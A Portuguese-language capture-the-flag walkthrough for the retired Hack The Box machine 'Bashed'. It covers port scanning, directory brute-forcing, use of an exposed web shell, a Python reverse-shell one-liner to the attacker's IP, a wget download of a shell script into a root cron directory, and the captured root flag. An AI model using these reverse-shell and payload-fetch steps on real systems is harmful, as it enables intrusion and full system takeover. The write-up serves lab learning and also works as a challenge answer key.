Salve, Salve Galera,
Estou aqui novamente para apresentar mais um walkthrough para vocês. Dessa vez lhes trago BASHED.
Essa máquina possui o nível de dificuldade Baixo e pode ser acessada apenas sendo assinante do HTB. Visto que ela encontra-se na listagem de RETIRED MACHINES.
Sem mais delongas, vamos ao que interessa!
Utilizaremos o nmap para verificar quais são as portas que estão abertas.
$ nmap -sV -sC -Pn 10.10.10.68 Starting Nmap 7.70 ( https://nmap.org ) at 2018-12-01 13:33 EST Nmap scan report for 10.10.10.68 Host is up (0.20s latency). Not shown: 999 closed ports PORT STATE SERVICE VERSION 80/tcp open http Apache httpd 2.4.18 ((Ubuntu)) |_http-server-header: Apache/2.4.18 (Ubuntu) |_http-title: Arrexel's Development Site Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 35.09 seconds
Identificamos apenas o serviço http.
Acessando a página, verificamos que trata-se de um site de desenvolvimento de alguém chamado Arrexel. Na página menciona sobre um webshell chamado phpbash.
Vamos executar um directory brute force na aplicação.
$./dirsearch.py -u 10.10.10.68 -e html,php,htm -f -t 20 -x 403 _|. _ _ _ _ _ _|_ v0.3.8 (_||| _) (/_(_|| (_| ) Extensions: html, php, htm | Threads: 20 | Wordlist size: 19948 Error Log: /root/Documents/Tools/dirsearch/logs/errors-18-12-01_16-26-27.log Target: 10.10.10.68 [16:26:28] Starting: [16:26:31] 301 - 308B - /php -> http://10.10.10.68/php/ [16:26:53] 200 - 8KB - /about.html [16:27:37] 200 - 0B - /config.php [16:27:38] 200 - 0B - /config.php/ [16:27:40] 200 - 8KB - /contact.html [16:27:42] 200 - 2KB - /css/ [16:27:46] 200 - 1KB - /dev/ [16:27:56] 200 - 2KB - /fonts/ [16:28:04] 200 - 2KB - /images/ [16:28:06] 200 - 8KB - /index.html [16:28:12] 200 - 3KB - /js/ [16:28:33] 200 - 939B - /php/ [16:29:06] 200 - 14B - /uploads/ Task Completed
Encontramos um Diretório chamado /dev/.
O qual possui a web shell mencionada anteriormente.
Através da Web Shell já conseguimos coletar a flag de usuário. Além disso, verificamos que o usuário www-data consegue executar qualquer comando como se fosse o usuário scriptmanager (via sudo).
O próximo passo será fechar uma conexão reversa utilizando a webshell. Para isso vamos utilizar uma reverse shell em python.
PHPBASH WEBSHELL:
/usr/bin/python -c 'import socket,subprocess,os; s=socket.socket(socket.AF_INET,socket.SOCK_STREAM); s.connect(("10.10.14.6",80)); os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2); p=subprocess.call(["/bin/sh","-i"]);'
KALI:
$ nc -nvlp 80 listening on [any] 80 ... connect to [10.10.14.6] from (UNKNOWN) [10.10.10.68] 53322 /bin/sh: 0: can't access tty; job control turned off $ python -c 'import pty;pty.spawn("/bin/sh")' $
Agora que estamos na máquina, podemos nos tornar o usuário scriptmanager via sudo.
$ sudo -u scriptmanager sh -i $ id uid=1001(scriptmanager) gid=1001(scriptmanager) groups=1001(scriptmanager) $
Analisando a máquina, descobrimos um diretório chamado scripts que o usuário scriptmanager é owner.
$ ls -ld /scripts drwxrwxr-- 2 scriptmanager scriptmanager 4096 Dec 4 2017 /scripts $
Dentro desse diretório temos um script chamado test.py.
$ cat test.py cat test.py f = open("test.txt", "w") f.write("testing 123!") f.close $
E um arquivo test.txt.
$ cat test.txt testing 123! $
Baseado no timestamp do arquivo test.txt, o script test.py é executado a cada minuto.
$ ls -l total 8 -rw-r--r-- 1 scriptmanager scriptmanager 58 Dec 4 2017 test.py -rw-r--r-- 1 root root 12 Dec 1 18:24 test.txt $ date Sat Dec 1 18:24:11 PST 2018 $
Além disso, o owner do test.txt é o usuário root. Logo, o script está sendo executado com privilégio de ID 0.
Precisamos apenas substituir o conteúdo do arquivo test.py por uma shell reversa.
- Realizando Download da shell na máquina alvo.
$ cd /scripts $ ls test.py test.txt $ ls -ld /scripts ls -ld /scripts drwxrwxr-- 2 scriptmanager scriptmanager 4096 Dec 4 2017 /scripts $ wget http://10.10.14.6:8081/shell2.py --2018-12-02 10:12:19-- http://10.10.14.6:8081/shell2.py Connecting to 10.10.14.6:8081... connected. HTTP request sent, awaiting response... 200 OK Length: 235 [application/octet-stream] Saving to: 'shell2.py' shell2.py 0%[ ] 0 --.-KB/s shell2.py 100%[===================>] 235 --.-KB/s in 0s 2018-12-02 10:12:20 (59.3 MB/s) - 'shell2.py' saved [235/235]
- Disponibilizando a shell via kali.
$ php -S 10.10.14.6:8081 PHP 7.2.3-1 Development Server started at Sun Dec 2 13:07:20 2018 Listening on http://10.10.14.6:8081 Document root is /root/Documents/Tools/Shells/python Press Ctrl-C to quit. [Sun Dec 2 13:08:32 2018] 10.10.10.68:54372 [200]: /shell2.py
Estranhamente logo após o download do arquivo shell2.py para o diretório /scripts, recebi uma conexão reversa na porta 443. Visto que já estava com o NC em execução.
$ nc -nvlp 443 listening on [any] 443 ... connect to [10.10.14.6] from (UNKNOWN) [10.10.10.68] 56392 /bin/sh: 0: can't access tty; job control turned off # # # # id uid=0(root) gid=0(root) groups=0(root) #
Entendi o motivo após verificar a crontab do usuário root.
# crontab -l * * * * * cd /scripts; for f in *.py; do python "$f"; done #
Flag root/system capturada.
# cd /root # ls root.txt # cat root.txt cc4f0afe3a1026d402ba10329674a8e2 #
Até a próxima!
Referência:
http://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet